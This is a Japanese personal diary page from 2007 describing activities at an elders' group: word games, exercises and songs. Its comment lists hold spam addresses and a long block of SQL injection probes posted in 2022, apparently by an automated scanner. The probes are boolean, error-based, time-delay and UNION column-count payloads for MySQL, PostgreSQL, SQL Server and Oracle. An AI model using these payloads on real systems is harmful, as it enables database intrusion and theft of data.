Counter

弥市の日記 2007年5月号

2001年 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2002年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2003年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2004年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2005年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2006年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2007年 1月号 | 2月号 | 3月号 | 4月号 | 5月号 | 6月号 | 7月号 | 8月号 | 9月号 | 10月号 | 11月号 | 12月号
2008年 1月号 | 2月号 | 3月号 | 4月号
2009年 2月号
弥市のホーム



9/19(水)
1-9
★ことばの泉
P:ことばの泉 写真入れ
No virus found in this outgoing message.
Checked by AVG Free Edition.
Version: 7.5.487 / Virus Database: 269.13.25/1018 - Release Date: 2007/09/19
15:59
名前
・djbrucho3@gmail.com [2015/8/12 22:55:10] (by Bradley)
・mark357177@hotmail.com [2016/2/3 01:22:21] (by Mark)
・mark357177@hotmail.com [2016/2/3 12:27:53] (by Mark)
・jimos4581rt@hotmail.com [2016/8/10 05:58:11] (by JimmiXS)
・jimos4581rt@hotmail.com [2016/8/12 10:49:33] (by JimmiXS)
・jfvynms4281rt@hotmail.com [2017/1/1 07:49:23] (by Barnypok)
・jfvynms4281rt@hotmail.com [2017/1/1 07:49:24] (by Barnypok)
・jfvynms4281rt@hotmail.com [2017/1/1 07:49:34] (by Barnypok)
・support@goldentabs.com [2018/1/7 05:38:40] (by GoldenTabs)
・1 [2022/1/19 06:09:57] (by 1)
・1 [2022/8/20 18:31:40] (by 1)
・1 [2024/5/16 23:53:13] (by 1)


9/19(水)
★ことばの泉
 午 前
挨拶と交流
スポーツのことについて
◎野球・走り・柔道・運動会・棒倒し・2人3脚・短距離競争等
  体操・口の体操・歌 (赤とんぼ・故郷)
午 後
 写真入れを作った
名前


9/8(土)
★くすのき会
 午 前
体操・しりとりゲームをしました。
 午 後
 石原先生と高山さんが来られました。
4ティームに別れて「漢字しりとりゲーム」をしました。
 最後に高山さんのギター伴奏で 紅葉・赤とんぼ・里の秋
 故郷・今日の日は さようなら を唄いました。
名前
・1 [2024/5/16 23:53:51] (by 1)


9/5(水)
★ことばの泉
 @健康チェック A挨拶と交流 B体操 C口の体操 D今月の歌
 D昼食 Fお昼休み G頭の体操 Hコーヒータイム
 午 前
扇風機の話し(火が出たという話)
学生 自己紹介 大阪医専の垣内優子さん
 皆も 自己紹介をした。
今日は「わ」のつく言葉 わし(鷲) わたくし(私) わなげ(輪投げ)
はなわ(花輪) わたがし(綿菓子) わに(鰐) わがし(和菓子)
わに(鰐) なわとび(縄跳び) たわし(束子) わごむ(輪ゴム)等
 歌 赤とんぼ・故郷
 午 後
◎ぴったしカンカン
 1、袋から1枚「お題」を引く
 2、「お題」で思いついたものをチィームで相談して5つ決める
 3、全チィーム共通+3点 2チィーム共通+2点 ボーナスポイント+10点
名前
・1 [2022/2/7 02:46:15] (by 1)
・1 [2022/2/7 02:46:16] (by 1)
・1 [2022/2/7 02:46:18] (by 1)
・1'),),''))" [2022/2/7 02:48:31] (by 1)
・1'LFdmKv<'">uJzOgt [2022/2/7 02:48:31] (by 1)
・1) AND 1717=9770 AND (1638=1638 [2022/2/7 02:48:33] (by 1)
・1) AND 4641=4641 AND (9633=9633 [2022/2/7 02:48:34] (by 1)
・1 AND 7673=9038 [2022/2/7 02:48:34] (by 1)
・1 AND 4641=4641 [2022/2/7 02:48:35] (by 1)
・1 AND 3167=1738-- OBWi [2022/2/7 02:48:35] (by 1)
・1 AND 4641=4641-- cKtm [2022/2/7 02:48:36] (by 1)
・1') AND 4744=8157 AND ('zTtC'='zTtC [2022/2/7 02:48:36] (by 1)
・1') AND 4641=4641 AND ('kJKN'='kJKN [2022/2/7 02:48:36] (by 1)
・1' AND 9602=3117 AND 'HOVy'='HOVy [2022/2/7 02:48:38] (by 1)
・1' AND 4641=4641 AND 'jbhO'='jbhO [2022/2/7 02:48:38] (by 1)
・1%' AND 4620=8655 AND '%'=' [2022/2/7 02:48:38] (by 1)
・1%' AND 4641=4641 AND '%'=' [2022/2/7 02:48:39] (by 1)
・(SELECT (CASE WHEN (8851=3352) THEN 8851 ELSE 8851*(SELECT 8851 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) [2022/2/7 02:48:40] (by 1)
・(SELECT (CASE WHEN (6949=6949) THEN 6949 ELSE 6949*(SELECT 6949 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) [2022/2/7 02:48:40] (by 1)
・1) AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (3607=3607 [2022/2/7 02:48:41] (by 1)
・1 AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [2022/2/7 02:48:41] (by 1)
・1 AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ikvQ [2022/2/7 02:48:42] (by 1)
・1') AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('RTed'='RTed [2022/2/7 02:48:42] (by 1)
・1' AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Psoo'='Psoo [2022/2/7 02:48:42] (by 1)
・1%' AND (SELECT 5559 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(5559=5559,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' [2022/2/7 02:48:43] (by 1)
・1) AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC) AND (5105=5105 [2022/2/7 02:48:43] (by 1)
・1 AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC) [2022/2/7 02:48:44] (by 1)
・1 AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC)-- flZz [2022/2/7 02:48:44] (by 1)
・1') AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC) AND ('OgaC'='OgaC [2022/2/7 02:48:45] (by 1)
・1' AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC) AND 'vxQQ'='vxQQ [2022/2/7 02:48:45] (by 1)
・1%' AND 6260=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (6260=6260) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)) AS NUMERIC) AND '%'=' [2022/2/7 02:48:45] (by 1)
・1) AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113))) AND (1238=1238 [2022/2/7 02:48:46] (by 1)
・1 AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113))) [2022/2/7 02:48:46] (by 1)
・1 AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113)))-- BdkV [2022/2/7 02:48:47] (by 1)
・1') AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113))) AND ('sdXb'='sdXb [2022/2/7 02:48:47] (by 1)
・1' AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113))) AND 'uFxN'='uFxN [2022/2/7 02:48:47] (by 1)
・1%' AND 9795=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9795=9795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'=' [2022/2/7 02:48:48] (by 1)
・1) AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) AND (8972=8972 [2022/2/7 02:48:48] (by 1)
・1 AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) [2022/2/7 02:48:49] (by 1)
・1 AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL)-- TGoL [2022/2/7 02:48:49] (by 1)
・1') AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) AND ('ydyX'='ydyX [2022/2/7 02:48:50] (by 1)
・1' AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) AND 'rCCR'='rCCR [2022/2/7 02:48:50] (by 1)
・1%' AND 2008=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (2008=2008) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) AND '%'=' [2022/2/7 02:48:50] (by 1)
・(SELECT 6444 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271,(SELECT (ELT(6444=6444,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [2022/2/7 02:48:51] (by 1)
・(SELECT CONCAT(0x717a7a6271,(SELECT (ELT(8829=8829,1))),0x71767a7171)) [2022/2/7 02:48:51] (by 1)
・(SELECT (CHR(113)||CHR(122)||CHR(122)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9118=9118) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(122)||CHR(113)||CHR(113))) [2022/2/7 02:48:52] (by 1)
・(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6853=6853) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(113)) [2022/2/7 02:48:52] (by 1)
・1);SELECT SLEEP(5)# [2022/2/7 02:48:52] (by 1)
・1;SELECT SLEEP(5)# [2022/2/7 02:48:53] (by 1)
・1');SELECT SLEEP(5)# [2022/2/7 02:48:53] (by 1)
・1';SELECT SLEEP(5)# [2022/2/7 02:48:54] (by 1)
・1%';SELECT SLEEP(5)# [2022/2/7 02:48:54] (by 1)
・1);SELECT PG_SLEEP(5)-- [2022/2/7 02:48:55] (by 1)
・1;SELECT PG_SLEEP(5)-- [2022/2/7 02:48:55] (by 1)
・1');SELECT PG_SLEEP(5)-- [2022/2/7 02:48:55] (by 1)
・1';SELECT PG_SLEEP(5)-- [2022/2/7 02:48:56] (by 1)
・1%';SELECT PG_SLEEP(5)-- [2022/2/7 02:48:56] (by 1)
・1);WAITFOR DELAY '0:0:5'-- [2022/2/7 02:48:57] (by 1)
・1;WAITFOR DELAY '0:0:5'-- [2022/2/7 02:48:57] (by 1)
・1');WAITFOR DELAY '0:0:5'-- [2022/2/7 02:48:58] (by 1)
・1';WAITFOR DELAY '0:0:5'-- [2022/2/7 02:48:58] (by 1)
・1%';WAITFOR DELAY '0:0:5'-- [2022/2/7 02:48:59] (by 1)
・1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(71)||CHR(99)||CHR(69),5) FROM DUAL-- [2022/2/7 02:48:59] (by 1)
・1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(71)||CHR(99)||CHR(69),5) FROM DUAL-- [2022/2/7 02:49:00] (by 1)
・1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(71)||CHR(99)||CHR(69),5) FROM DUAL-- [2022/2/7 02:49:00] (by 1)
・1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(71)||CHR(99)||CHR(69),5) FROM DUAL-- [2022/2/7 02:49:01] (by 1)
・1%';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(71)||CHR(99)||CHR(69),5) FROM DUAL-- [2022/2/7 02:49:01] (by 1)
・1) AND SLEEP(5) AND (1531=1531 [2022/2/7 02:49:02] (by 1)
・1 AND SLEEP(5) [2022/2/7 02:49:02] (by 1)
・1 AND SLEEP(5)-- tOZN [2022/2/7 02:49:03] (by 1)
・1') AND SLEEP(5) AND ('XRis'='XRis [2022/2/7 02:49:03] (by 1)
・1' AND SLEEP(5) AND 'qsKi'='qsKi [2022/2/7 02:49:04] (by 1)
・1%' AND SLEEP(5) AND '%'=' [2022/2/7 02:49:04] (by 1)
・1) AND 7060=(SELECT 7060 FROM PG_SLEEP(5)) AND (6294=6294 [2022/2/7 02:49:05] (by 1)
・1 AND 7060=(SELECT 7060 FROM PG_SLEEP(5)) [2022/2/7 02:49:05] (by 1)
・1 AND 7060=(SELECT 7060 FROM PG_SLEEP(5))-- zRXO [2022/2/7 02:49:06] (by 1)
・1') AND 7060=(SELECT 7060 FROM PG_SLEEP(5)) AND ('tYRQ'='tYRQ [2022/2/7 02:49:06] (by 1)
・1' AND 7060=(SELECT 7060 FROM PG_SLEEP(5)) AND 'cugN'='cugN [2022/2/7 02:49:06] (by 1)
・1%' AND 7060=(SELECT 7060 FROM PG_SLEEP(5)) AND '%'=' [2022/2/7 02:49:07] (by 1)
・1) WAITFOR DELAY '0:0:5' AND (1476=1476 [2022/2/7 02:49:07] (by 1)
・1 WAITFOR DELAY '0:0:5' [2022/2/7 02:49:08] (by 1)
・1 WAITFOR DELAY '0:0:5'-- zlUe [2022/2/7 02:49:08] (by 1)
・1') WAITFOR DELAY '0:0:5' AND ('MShb'='MShb [2022/2/7 02:49:09] (by 1)
・1' WAITFOR DELAY '0:0:5' AND 'yloT'='yloT [2022/2/7 02:49:10] (by 1)
・1%' WAITFOR DELAY '0:0:5' AND '%'=' [2022/2/7 02:49:10] (by 1)
・1) AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5) AND (9380=9380 [2022/2/7 02:49:11] (by 1)
・1 AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5) [2022/2/7 02:49:11] (by 1)
・1 AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5)-- ZvOf [2022/2/7 02:49:11] (by 1)
・1') AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5) AND ('spYd'='spYd [2022/2/7 02:49:12] (by 1)
・1' AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5) AND 'nmtd'='nmtd [2022/2/7 02:49:12] (by 1)
・1%' AND 1952=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(70)||CHR(119)||CHR(80),5) AND '%'=' [2022/2/7 02:49:13] (by 1)
・1) ORDER BY 1-- WwKn [2022/2/7 02:49:13] (by 1)
・1) ORDER BY 7001-- PnUP [2022/2/7 02:49:14] (by 1)
・1) UNION ALL SELECT NULL-- CPoK [2022/2/7 02:49:14] (by 1)
・1) UNION ALL SELECT NULL,NULL-- eCZQ [2022/2/7 02:49:15] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL-- txLm [2022/2/7 02:49:16] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL-- kamG [2022/2/7 02:49:16] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- DMbC [2022/2/7 02:49:16] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- FGwL [2022/2/7 02:49:17] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JJua [2022/2/7 02:49:17] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- NqWY [2022/2/7 02:49:18] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- inZo [2022/2/7 02:49:18] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- LXGm [2022/2/7 02:49:19] (by 1)
・1 ORDER BY 1-- ToYh [2022/2/7 02:49:19] (by 1)
・1 ORDER BY 6583-- bzQn [2022/2/7 02:49:20] (by 1)
・1 UNION ALL SELECT NULL-- QUMe [2022/2/7 02:49:20] (by 1)
・1 UNION ALL SELECT NULL,NULL-- hmLI [2022/2/7 02:49:20] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL-- phEn [2022/2/7 02:49:21] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL-- yAnM [2022/2/7 02:49:21] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- YhXa [2022/2/7 02:49:22] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- xxTt [2022/2/7 02:49:22] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- dkkx [2022/2/7 02:49:22] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- AcBN [2022/2/7 02:49:23] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- hRaL [2022/2/7 02:49:23] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kUDw [2022/2/7 02:49:24] (by 1)
・1 ORDER BY 1-- vDmO [2022/2/7 02:49:24] (by 1)
・1 ORDER BY 1435-- ZNSC [2022/2/7 02:49:24] (by 1)
・1 UNION ALL SELECT NULL-- evMg [2022/2/7 02:49:25] (by 1)
・1 UNION ALL SELECT NULL,NULL-- fxMT [2022/2/7 02:49:26] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL-- yDBM [2022/2/7 02:49:26] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL-- rnQx [2022/2/7 02:49:27] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- YtKE [2022/2/7 02:49:27] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- qZnv [2022/2/7 02:49:27] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cczi [2022/2/7 02:49:28] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- CSgH [2022/2/7 02:49:28] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- RDNi [2022/2/7 02:49:29] (by 1)
・1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ltGG [2022/2/7 02:49:29] (by 1)
・1') ORDER BY 1-- kDgo [2022/2/7 02:49:29] (by 1)
・1') ORDER BY 2863-- kJlF [2022/2/7 02:49:30] (by 1)
・1') UNION ALL SELECT NULL-- VUXq [2022/2/7 02:49:30] (by 1)
・1') UNION ALL SELECT NULL,NULL-- Vdmb [2022/2/7 02:49:31] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL-- Pioj [2022/2/7 02:49:31] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL-- nQzd [2022/2/7 02:49:32] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- bUFw [2022/2/7 02:49:32] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- SGXw [2022/2/7 02:49:33] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- iQSj [2022/2/7 02:49:33] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- bygj [2022/2/7 02:49:33] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ttBn [2022/2/7 02:49:34] (by 1)
・1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ROwH [2022/2/7 02:49:34] (by 1)
・1' ORDER BY 1-- nDdl [2022/2/7 02:49:35] (by 1)
・1' ORDER BY 4230-- fHdA [2022/2/7 02:49:35] (by 1)
・1' UNION ALL SELECT NULL-- eFjX [2022/2/7 02:49:36] (by 1)
・1' UNION ALL SELECT NULL,NULL-- yWvn [2022/2/7 02:49:36] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL-- tzMf [2022/2/7 02:49:37] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL-- KJOL [2022/2/7 02:49:37] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- hTeg [2022/2/7 02:49:37] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- kuge [2022/2/7 02:49:38] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- djMj [2022/2/7 02:49:39] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- EDie [2022/2/7 02:49:39] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- xAOk [2022/2/7 02:49:40] (by 1)
・1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- EieD [2022/2/7 02:49:40] (by 1)
・1%' ORDER BY 1-- JtTu [2022/2/7 02:49:40] (by 1)
・1%' ORDER BY 6075-- MdFt [2022/2/7 02:49:41] (by 1)
・1%' UNION ALL SELECT NULL-- SIQB [2022/2/7 02:49:41] (by 1)
・1%' UNION ALL SELECT NULL,NULL-- dTkt [2022/2/7 02:49:42] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL-- XcmY [2022/2/7 02:49:42] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL-- YAfm [2022/2/7 02:49:43] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- ylve [2022/2/7 02:49:43] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- WhYH [2022/2/7 02:49:43] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNAk [2022/2/7 02:49:44] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- EJYW [2022/2/7 02:49:45] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZQqO [2022/2/7 02:49:45] (by 1)
・1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- dXkR [2022/2/7 02:49:46] (by 1)
・1) ORDER BY 1# [2022/2/7 02:49:46] (by 1)
・1) ORDER BY 1310# [2022/2/7 02:49:47] (by 1)
・1) UNION ALL SELECT NULL# [2022/2/7 02:49:47] (by 1)
・1) UNION ALL SELECT NULL,NULL# [2022/2/7 02:49:47] (by 1)
・1) UNION ALL SELECT NULL,NULL,NULL# [2022/2/7 02:49:48] (by 1)
